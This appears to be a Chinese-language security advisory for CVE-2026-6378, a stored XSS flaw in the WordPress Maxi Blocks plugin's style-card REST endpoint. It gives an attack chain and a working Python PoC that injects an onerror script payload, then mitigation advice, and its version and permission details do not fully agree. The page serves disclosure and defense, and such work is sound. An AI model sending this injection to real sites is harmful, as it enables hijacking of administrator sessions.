CVE-2026-6378 CVSS 6.4 中危

CVE-2026-6378 WordPress Maxi Blocks存储型XSS漏洞

披露日期: 2026-05-02

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-6378

漏洞类型

存储型XSS

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WordPress Maxi Blocks Plugin

漏洞概述

WordPress Maxi Blocks插件在2.1.9及以下版本中存在严重的存储型跨站脚本（XSS）漏洞。该漏洞源于插件对`/wp-json/maxi-blocks/v1.0/style-card` REST API端点中`sc_styles`参数的输入清理和输出转义不足。拥有作者及以上权限的认证攻击者可利用此漏洞注入恶意Web脚本，导致脚本在加载插件样式的所有页面（包括整个WordPress管理后台）上自动执行，进而窃取管理员凭证或进行恶意操作。

技术细节

该漏洞核心在于Maxi Blocks插件处理样式卡片数据时的安全缺陷。攻击者利用REST API端点`/wp-json/maxi-blocks/v1.0/style-card`，在`sc_styles`参数中构造包含JavaScript代码的恶意数据。由于服务器端未对传入数据进行严格的安全过滤，且在输出时未进行HTML实体转义，导致恶意代码被持久化存储。当具有编辑权限的攻击者成功注入后，任何访问受影响页面的用户（特别是管理员）在渲染样式卡片时都会触发XSS。由于CVSS向量中Scope为Changed，该漏洞可能允许攻击者绕过部分同源策略限制，利用管理员权限进一步控制网站服务器，造成数据泄露或网站被篡改。

攻击链分析

STEP 1

Reconnaissance

攻击者识别目标WordPress站点安装了Maxi Blocks插件，且版本低于2.1.9。

STEP 2

Authentication

攻击者获取一个具备Author（作者）及以上权限的账户凭证。

STEP 3

Exploitation

攻击者向`/wp-json/maxi-blocks/v1.0/style-card`端点发送POST请求，在`sc_styles`参数中注入恶意JavaScript代码。

STEP 4

Payload Storage

由于缺乏输入过滤，恶意脚本被存储在数据库中。

STEP 5

Trigger & Execution

当管理员或其他用户访问加载了插件样式的页面时，恶意脚本在浏览器中执行，导致会话劫持或进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Exploit Title: WordPress Maxi Blocks < 2.1.9 - Stored XSS
# Description: Inject malicious script via sc_styles parameter

target_url = "http://target-site.com/wp-json/maxi-blocks/v1.0/style-card"

# Attacker needs a valid authenticated cookie (Author level or higher)
cookies = {
    "wordpress_logged_in_xxxxx": "your_cookie_here"
}

# Malicious payload to be injected
payload_data = {
    "sc_styles": "<img src=x onerror=alert('XSS')>",
    "id": "1"
}

headers = {
    "Content-Type": "application/json"
}

try:
    response = requests.post(target_url, json=payload_data, cookies=cookies, headers=headers)
    if response.status_code == 200:
        print("[+] Payload injected successfully!")
        print("[+] Check the admin panel or pages using the style card to verify execution.")
    else:
        print(f"[-] Failed. Status code: {response.status_code}")
except Exception as e:
    print(f"Error: {e}")

影响范围

Maxi Blocks <= 2.1.9

防御指南

临时缓解措施

建议立即将插件升级至最新版本以修复此漏洞。如果无法立即升级，应暂时禁用Maxi Blocks插件，并严格审查用户权限，确保只有受信任的用户拥有编辑权限，防止恶意脚本注入。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表